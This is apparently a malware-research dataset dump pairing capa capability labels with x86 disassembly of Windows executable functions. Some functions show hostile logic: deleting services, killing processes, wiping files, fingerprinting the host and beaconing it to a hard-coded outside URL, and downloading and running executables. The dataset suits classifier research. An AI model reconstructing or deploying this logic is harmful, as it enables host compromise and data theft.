joyce8/EMBER2024-capa huggingface dataset:
Function at 0x470810
Capabilities:
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
xor eax, eax
push ebp
push 0x4709b7
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
xor esi, esi
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov edi, eax
test edi, edi
je 0x470988
call fcn.0040a72c
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0x20]
mov eax, 0x4709d0
call fcn.0040b3a8
mov edx, dword [ebp - 0x20]
mov eax, 0x475fec
mov ecx, 0x4709e8
call fcn.004048b8
mov eax, dword [0x475fe8]
mov eax, dword [eax + 0x308]
mov eax, dword [eax + 0x220]
mov edx, dword [0x475fec]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0xf01ff
mov eax, dword [0x476250]
push eax
push edi
call sub.advapi32.dll_OpenServiceA
mov esi, eax
test esi, esi
je 0x470988
call fcn.0040a72c
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0x24]
mov eax, 0x4709d0
call fcn.0040b3a8
mov edx, dword [ebp - 0x24]
mov eax, 0x475fec
mov ecx, 0x470a04
call fcn.004048b8
mov eax, dword [0x475fe8]
mov eax, dword [eax + 0x308]
mov eax, dword [eax + 0x220]
mov edx, dword [0x475fec]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x1c]
push eax
push 1
push esi
call sub.advapi32.dll_ControlService
test eax, eax
je 0x470988
call fcn.0040a72c
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0x28]
mov eax, 0x4709d0
call fcn.0040b3a8
mov edx, dword [ebp - 0x28]
mov eax, 0x475fec
mov ecx, 0x470a20
call fcn.004048b8
push esi
call sub.advapi32.dll_DeleteService
test eax, eax
je 0x470988
call fcn.0040a72c
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0x2c]
mov eax, 0x4709d0
call fcn.0040b3a8
mov edx, dword [ebp - 0x2c]
mov eax, 0x475fec
mov ecx, 0x470a38
call fcn.004048b8
mov eax, dword [0x475fe8]
mov eax, dword [eax + 0x308]
mov eax, dword [eax + 0x220]
mov edx, dword [0x475fec]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov bl, 1
test esi, esi
je 0x470992
push esi
call sub.advapi32.dll_CloseServiceHandle
test edi, edi
je 0x47099c
push edi
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4709be
lea eax, [ebp - 0x2c]
mov edx, 4
call fcn.004045d0
ret

Function at 0x470a48
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov esi, eax
push esp
push esi
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [esp]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
lea eax, [esp + 4]
push eax
push ebx
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [esp + 4]
push eax
push ebx
call sub.kernel32.dll_TerminateProcess
push 0
push 0
push 0x10
push esi
call sub.user32.dll_SendMessageA
pop ecx
pop edx
pop esi
pop ebx
ret
Function at 0x4011b0
Capabilities:
Get common file path
Inspect load icon resource

Disassembly:
push 0xffffffffffffffff
push 0x402d68
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push eax
push 0x66
mov dword [esp + 0x18], ebp
call sub.MFC42.DLL_CDialog::CDialog
mov dword [esp + 0x1c], 0
mov dword [ebp], 0x403510
call sub.MFC42.DLL_AfxGetModuleState
push 0x80
push 0xe
push 0x80
call sub.MFC42.DLL_AfxFindResourceHandle
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0
mov dword [ebp + 0x60], eax
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
lea edi, [ebp + 0x168]
mov ecx, 0x41
xor eax, eax
add esp, 8
rep stosd dword es:[edi], eax
lea edi, [ebp + 0x64]
mov ecx, 0x41
lea ebx, [ebp + 0x26c]
push 0x104
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.Program_FilesCommon_FilesMicrosoft_Shared
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp + 0x26f], 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x19
idiv ecx
lea eax, [ebp + 0x168]
add edx, 0x41
push edx
push ebx
push str._s__c
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp + 0x64]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, ebp
call fcn.00401300
test eax, eax
jne 0x4012c4
mov ecx, ebp
call fcn.00401550
mov ecx, dword [esp + 0x14]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x401490
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push ebp
push esi
mov ebp, ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.SystemTemp_1
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0xf], 0
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0xc]
and ecx, 3
push 0x40429c
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_fopen]
push eax
call esi
mov edi, dword [sym.imp.MSVCRT.dll_fclose]
add esp, 8
test eax, eax
je 0x401518
push eax
call edi
add esp, 4
lea ecx, [esp + 0xc]
push 0x404298
push ecx
call esi
mov esi, eax
add esp, 8
test esi, esi
je 0x40153e
add ebp, 0x64
push esi
push ebp
call dword [sym.imp.MSVCRT.dll_fputs]
push esi
call edi
add esp, 0xc
pop edi
pop esi
pop ebp
add esp, 0x104
ret
Function at 0x401550
Capabilities:
Create thread
Terminate process

Disassembly:
sub esp, 0x104
push ebx
push ebp
mov ebx, ecx
push esi
push edi
push 0
lea esi, [ebx + 0x168]
push 0
push esi
push 0x401350
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.lsass.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebx + 0x64]
push ecx
call fcn.00401380
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x10]
push edx
call fcn.004013f0
add esp, 4
mov ecx, ebx
call fcn.00401490
push 5
lea eax, [esp + 0x14]
push 0x4042b0
push eax
mov ecx, ebx
call fcn.00401950
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401860
Capabilities:
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
push 0x40429c
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x401884
pop esi
add esp, 8
ret 4
push ebx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea ecx, [esp + 0x2c]
push 2
push ecx
call ebx
add esp, 0x1c
cmp word [esp + 0x18], 0x5a4d
jne 0x4018ef
push 0
push 0x3c
push esi
call edi
push esi
push 1
lea edx, [esp + 0x20]
push 4
push edx
call ebx
mov eax, dword [esp + 0x28]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x40]
push 4
push ecx
call ebx
mov eax, dword [esp + 0x48]
add esp, 0x38
xor edx, edx
cmp eax, 0x4550
sete dl
mov edi, edx
jmp 0x4018f1
xor edi, edi
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret 4

Function at 0x401910
Capabilities:
Get common file path

Disassembly:
mov eax, dword [esp + 8]
cmp eax, 0x104
ja 0x40194d
push esi
mov esi, dword [esp + 8]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x64
idiv ecx
push edx
push esi
push str._s_d._s
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
pop esi
ret 0xc

Function at 0x401950
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
mov ax, word [esp + 0x68]
xor ecx, ecx
mov dword [esp + 8], ecx
mov word [esp + 0x48], ax
mov dword [esp + 0xc], ecx
lea eax, [esp + 0x18]
mov dword [esp + 0x10], ecx
push edx
push eax
mov edx, dword [esp + 0x68]
push ecx
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x30], ecx
push ecx
mov ecx, dword [esp + 0x84]
push ecx
push edx
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x6c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [esp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
add esp, 0x54
ret 0xc
Function at 0x4019d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x110
mov ecx, 0x20
xor eax, eax
lea edx, [esp + 0xc]
push esi
push edi
mov edi, 0x405054
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push 0xf003f
push 0
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x401a60
mov edx, dword [esp]
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0xc]
push 0x405054
push ecx
push 0
push 0x4042e8
push edx
mov dword [esp + 0x1c], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x405054
add esp, 0x110
ret
Function at 0x401a70
Capabilities:
Get hostname
Get mac address on windows

Disassembly:
sub esp, 0x78c
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11d]
mov byte [esp + 0x11c], bl
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
lea ecx, [esp + 0x51c]
push eax
push ecx
xor edi, edi
mov dword [esp + 0x1c], ebx
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x401b3f
mov edx, dword [esp + 0x14]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
cmp ebp, ebx
je 0x401c24
lea eax, [esp + 0x14]
push eax
push ebp
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, ebx
jne 0x401b21
mov eax, ebp
mov ecx, dword [eax + 0x190]
lea edx, [ecx + edi]
cmp edx, 0x1000
jae 0x401b2a
mov ebx, ecx
lea esi, [eax + 0x194]
lea edi, [esp + edi + 0x11c]
mov eax, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
cmp eax, ebx
rep movsb byte es:[edi], byte [esi]
mov edi, edx
jne 0x401ae9
jmp 0x401b2a
add eax, 0xf0000000
mov dword [esp + 0x10], eax
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x10]
jmp 0x401b44
add eax, 0xe0000000
cmp eax, ebx
jne 0x401c24
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x1c]
push ecx
push edx
stosb byte es:[edi], al
mov dword [esp + 0x20], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov esi, dword [esp + 0x121]
mov edi, dword [esp + 0x120]
mov ebx, dword [esp + 0x11f]
mov ecx, dword [esp + 0x11e]
mov ebp, dword [esp + 0x11d]
mov eax, dword [esp + 0x11c]
mov edx, dword [esp + 0x7a0]
and esi, 0xff
and edi, 0xff
and ebx, 0xff
push esi
push edi
and ecx, 0xff
and ebp, 0xff
push ebx
and eax, 0xff
push ecx
push ebp
push eax
push str._02X__02X__02X__02X__02X__02X
push edx
mov dword [esp + 0x30], eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esi + 5]
mov ecx, 0xff
cdq
idiv ecx
lea eax, [edi + 4]
push edx
cdq
idiv ecx
lea eax, [ebx + 3]
push edx
cdq
idiv ecx
lea eax, [ebp + 2]
push edx
cdq
idiv ecx
push edx
mov edx, dword [esp + 0x40]
lea eax, [edx + 1]
cdq
idiv ecx
push edx
mov edx, dword [esp + 0x7d8]
push str._02u_02u_02u_02X_02u_02X
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x3c
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret
Function at 0x401c30
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
mov ebx, dword [esp + 0x130]
push ebp
push esi
push edi
xor eax, eax
mov ecx, 0x2ee
mov edi, 0x40449c
push eax
push 2
rep stosd dword es:[edi], eax
mov word [ebx], ax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
lea eax, [esp + 0x10]
push eax
push ebp
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
lea edi, [esp + 0x34]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x40449c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x404360
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x40449c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
inc word [ebx]
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401c6f
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 0x40449c
pop ebx
add esp, 0x128
ret
Function at 0x401dc0
Capabilities:
Create http request
Get hostname

Disassembly:
mov eax, 0x1908
call fcn.00402b00
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x2ed
xor eax, eax
lea edi, [esp + 0xd61]
mov byte [esp + 0xd60], bl
mov byte [esp + 0x1a8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x2ed
xor eax, eax
lea edi, [esp + 0x1a9]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x2ee
xor eax, eax
lea edi, [esp + 0xd60]
mov byte [esp + 0x7c], bl
rep stosd dword es:[edi], eax
mov ecx, 0x2ee
lea edi, [esp + 0x1a8]
rep stosd dword es:[edi], eax
mov ecx, 0x18
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x7d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x7c]
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.00401a70
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0xe9]
mov byte [esp + 0xe8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 8
lea edx, [esp + 0x14]
stosb byte es:[edi], al
lea eax, [esp + 0xe0]
push edx
push eax
mov dword [esp + 0x1c], 0xc8
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], ebx
push ecx
call fcn.00401c30
mov edx, dword [esp + 0x14]
add esp, 4
and edx, 0xffff
lea ecx, [esp + 0x7c]
push 0x404228
push 0x404246
push eax
lea eax, [esp + 0xec]
push edx
push eax
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.004019d0
push eax
push str.OS_sMAC_sDiskNum_sComName_sProNum_uProInfo_sVer_stgid_s
lea eax, [esp + 0x1cc]
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
call ebp
mov eax, dword [0x404254]
add esp, 0x28
cmp eax, ebx
je 0x401f4b
lea edi, [esp + 0x1a8]
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x401f4b
xor edx, edx
mov ecx, edx
and ecx, 0x80000001
jns 0x401f15
dec ecx
or ecx, 0xfffffffe
inc ecx
mov cl, byte [esp + edx + 0x1a8]
lea eax, [esp + edx + 0x1a8]
je 0x401f29
inc cl
jmp 0x401f2b
dec cl
inc esi
mov byte [eax], cl
mov edx, esi
lea edi, [esp + 0x1a8]
or ecx, 0xffffffff
xor eax, eax
and edx, 0xffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x401f06
lea edx, [esp + 0x1a8]
lea eax, [esp + 0xd60]
push edx
push str.http:__bs360.co.cc_tj_install.asp
push str._s__s
push eax
call ebp
add esp, 0x10
push ebx
push ebx
push ebx
push ebx
push str.Google_page
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push 0x80000000
push ebx
lea ecx, [esp + 0xd6c]
mov esi, eax
push ebx
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1908
ret 8
Function at 0x402340
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x20c
mov eax, dword [esp + 0x210]
push ebx
push ebp
push esi
push edi
push 0x404290
mov dword [esp + 0x14], ecx
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x402377
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret 4
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push 0
push ebp
call esi
push ebp
call dword [sym.imp.MSVCRT.dll_ftell]
mov ebx, eax
add esp, 0x10
test ebx, ebx
jne 0x4023a1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret 4
push 0
push 0
push ebp
call esi
lea edi, [ebx + 1]
push edi
call sub.MFC42.DLL_operatornew
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x4023d3
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret 4
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
push 1
push ebx
push esi
rep stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_fread]
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
push ebx
push esi
call fcn.00401cf0
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x135]
mov byte [esp + 0x134], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 0x1c
xor ebp, ebp
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x402521
cmp bp, 0x104
jae 0x402521
mov eax, ebx
and eax, 0xffff
mov al, byte [eax + esi]
cmp al, 0xd
jne 0x4024f4
inc ebx
inc ebp
and ebp, 0xffff
mov byte [esp + ebp + 0x118], 0
mov al, byte [esp + 0x118]
xor ebp, ebp
cmp al, 0x48
je 0x402472
cmp al, 0x68
jne 0x4024e2
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x14]
push 0x4043c0
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 0x104
push ecx
mov ecx, edi
call fcn.00401910
lea edx, [esp + 0x14]
lea eax, [esp + 0x118]
push edx
push eax
mov ecx, edi
call fcn.00401660
lea ecx, [esp + 0x14]
push ecx
mov ecx, edi
call fcn.00401860
test eax, eax
je 0x402504
push 5
lea edx, [esp + 0x18]
push 0
push edx
mov ecx, edi
call fcn.00401950
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x118]
rep stosd dword es:[edi], eax
jmp 0x402504
mov ecx, ebp
and ecx, 0xffff
inc ebp
mov byte [esp + ecx + 0x118], al
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
inc ebx
repne scasb al, byte es:[edi]
not ecx
mov edx, ebx
dec ecx
and edx, 0xffff
cmp edx, ecx
jb 0x402434
push esi
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret 4
Function at 0x403a94
Capabilities:
Terminate process

Disassembly:
jmp 0x45565e
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x45566f
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.004062c6
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x403c10
Capabilities:
Query environment variable

Disassembly:
jmp 0x493e45
mov edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x493e59
xor edi, edi
jmp 0x493e90
push ebx
push esi
call fcn.00493d4f
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00404633
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x493e80
push ebx
push esi
push edi
call fcn.00406050
add esp, 0xc
push 0
call fcn.00406dac
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
pop ebx
mov eax, edi
pop edi
pop esi
ret

Function at 0x406127
Capabilities:
Parse pe header

Disassembly:
jmp 0x44440f
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x44444e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x44444e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x44444e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x44444e
cmp dword [ecx + 0x74], 0xe
jbe 0x44444e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x406438
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
jmp 0x41b650
push esi
push edi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x5348d8], eax
pop edi
pop esi
ret
Function at 0x10001730
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
sub esp, 0x148
push ebp
mov ebp, dword [esp + 0x150]
push esi
push edi
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
add edi, ebp
mov dword [esp + 0x10], edi
mov cl, byte [edi - 1]
lea eax, [edi - 1]
cmp cl, 0x5c
jne 0x10001762
inc eax
jmp 0x10001769
mov byte [eax + 1], 0x5c
add eax, 2
mov ecx, dword [esp + 0x15c]
mov dword [esp + 0xc], eax
test ecx, ecx
je 0x1000177b
push ecx
jmp 0x10001780
push 0x100053bc
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x14]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10001831
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esp + 0x44], 0x2e
je 0x100017ef
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x44]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
test byte [esp + 0x18], 0x10
je 0x100017dc
mov eax, dword [esp + 0x160]
push eax
push ebp
call fcn.10001730
add esp, 8
jmp 0x100017ef
push 0x80
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebp
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x18]
push ecx
push esi
call edi
test eax, eax
jne 0x100017ab
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x10001818
push 1
call ebx
lea edx, [esp + 0x18]
push edx
push esi
call edi
test eax, eax
je 0x100017fb
jmp 0x100017ab
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x14]
pop ebx
pop edi
pop esi
mov byte [eax], 0
pop ebp
add esp, 0x148
ret
mov byte [edi], 0
pop edi
pop esi
pop ebp
add esp, 0x148
ret